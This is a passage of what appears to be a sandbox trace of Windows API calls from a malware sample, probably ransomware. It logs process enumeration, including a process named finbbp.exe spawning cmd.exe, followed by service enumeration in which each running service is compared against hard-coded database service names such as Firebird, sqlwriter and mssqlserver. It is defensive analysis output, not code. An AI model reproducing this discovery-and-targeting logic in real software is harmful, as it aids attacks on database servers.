11 [0238.294] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.295] lstrlenW (lpString="svchost.exe") returned 11 [0238.295] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.295] lstrlenW (lpString="svchost.exe") returned 11 [0238.295] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.296] lstrlenW (lpString="svchost.exe") returned 11 [0238.296] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.296] lstrlenW (lpString="svchost.exe") returned 11 [0238.297] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.297] lstrlenW (lpString="svchost.exe") returned 11 [0238.297] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.298] lstrlenW (lpString="svchost.exe") returned 11 [0238.298] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.298] lstrlenW (lpString="svchost.exe") returned 11 [0238.298] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.299] lstrlenW (lpString="svchost.exe") returned 11 [0238.299] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.299] lstrlenW (lpString="spoolsv.exe") returned 11 [0238.300] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.300] lstrlenW (lpString="svchost.exe") returned 11 [0238.300] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.301] lstrlenW (lpString="audiodg.exe") returned 11 [0238.301] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.302] lstrlenW (lpString="sihost.exe") returned 10 [0238.302] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.302] lstrlenW (lpString="svchost.exe") returned 11 [0238.302] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.303] lstrlenW (lpString="taskhostw.exe") returned 13 [0238.303] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0238.304] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0238.304] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0238.304] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0238.304] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0238.305] lstrlenW (lpString="Memory Compression") returned 18 [0238.305] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.305] lstrlenW (lpString="explorer.exe") returned 12 [0238.305] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.306] lstrlenW (lpString="SearchUI.exe") returned 12 [0238.306] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.307] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0238.307] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.307] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0238.307] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.308] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0238.308] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0238.308] lstrlenW (lpString="finbbp.exe") returned 10 [0238.308] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.309] lstrlenW (lpString="cmd.exe") returned 7 [0238.309] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.310] lstrlenW (lpString="conhost.exe") returned 11 [0238.310] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0238.310] lstrlenW (lpString="mode.com") returned 8 [0238.310] Process32NextW (in: hSnapshot=0x4d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0238.311] CloseHandle (hObject=0x4d4) returned 1 [0238.311] Sleep (dwMilliseconds=0x1f4) [0239.349] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa60 [0239.349] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0239.350] GetLastError () returned 0xea [0239.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4117748 [0239.350] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4117748, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4117748, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0239.351] CloseServiceHandle (hSCObject=0x41aaa60) returned 1 [0239.351] lstrlenW (lpString="AppXSvc") returned 7 [0239.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0239.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0239.351] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0239.351] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0239.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0239.351] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0239.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.351] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0239.351] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0239.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0239.351] lstrlenW (lpString="Audiosrv") returned 8 [0239.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0239.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0239.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0239.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0239.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0239.352] lstrlenW (lpString="BFE") returned 3 [0239.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0239.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0239.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0239.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0239.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0239.352] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0239.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0239.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0239.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0239.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0239.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0239.352] lstrlenW (lpString="CDPSvc") returned 6 [0239.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0239.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0239.352] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0239.352] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0239.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0239.352] lstrlenW (lpString="ClickToRunSvc") returned 13 [0239.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0239.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0239.352] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0239.352] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0239.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0239.352] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0239.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0239.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0239.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0239.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0239.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0239.353] lstrlenW (lpString="CryptSvc") returned 8 [0239.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0239.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0239.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0239.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0239.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0239.353] lstrlenW (lpString="DcomLaunch") returned 10 [0239.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0239.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0239.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0239.353] lstrlenW (lpString="DeviceAssociationService") returned 24 [0239.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0239.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0239.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0239.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0239.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0239.353] lstrlenW (lpString="Dhcp") returned 4 [0239.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0239.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0239.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0239.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0239.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0239.354] lstrlenW (lpString="Dnscache") returned 8 [0239.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0239.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0239.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0239.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0239.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0239.354] lstrlenW (lpString="DPS") returned 3 [0239.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0239.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0239.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0239.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0239.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0239.354] lstrlenW (lpString="DusmSvc") returned 7 [0239.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0239.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0239.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0239.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0239.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0239.355] lstrlenW (lpString="EventLog") returned 8 [0239.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0239.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0239.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0239.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0239.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0239.355] lstrlenW (lpString="EventSystem") returned 11 [0239.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0239.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0239.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0239.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0239.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0239.355] lstrlenW (lpString="FontCache") returned 9 [0239.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0239.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0239.355] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0239.355] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0239.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0239.355] lstrlenW (lpString="gpsvc") returned 5 [0239.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0239.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0239.355] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0239.355] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0239.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0239.356] lstrlenW (lpString="iphlpsvc") returned 8 [0239.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0239.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0239.356] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0239.356] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0239.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0239.356] lstrlenW (lpString="KeyIso") returned 6 [0239.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0239.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0239.356] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0239.356] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0239.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0239.356] lstrlenW (lpString="LanmanServer") returned 12 [0239.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0239.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0239.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0239.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0239.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0239.356] lstrlenW (lpString="LanmanWorkstation") returned 17 [0239.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0239.357] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0239.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0239.357] lstrlenW (lpString="lfsvc") returned 5 [0239.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0239.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0239.357] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0239.357] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0239.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0239.357] lstrlenW (lpString="lmhosts") returned 7 [0239.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0239.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0239.357] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0239.357] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0239.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0239.357] lstrlenW (lpString="LSM") returned 3 [0239.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0239.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0239.357] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0239.357] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0239.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0239.357] lstrlenW (lpString="MpsSvc") returned 6 [0239.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0239.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0239.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0239.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0239.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0239.358] lstrlenW (lpString="NcbService") returned 10 [0239.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0239.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0239.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0239.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0239.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0239.358] lstrlenW (lpString="netprofm") returned 8 [0239.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0239.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0239.358] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0239.358] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0239.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0239.358] lstrlenW (lpString="NgcSvc") returned 6 [0239.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0239.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0239.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0239.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0239.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0239.358] lstrlenW (lpString="NlaSvc") returned 6 [0239.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0239.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0239.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0239.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0239.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0239.359] lstrlenW (lpString="nsi") returned 3 [0239.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0239.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0239.359] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0239.359] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0239.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0239.359] lstrlenW (lpString="PcaSvc") returned 6 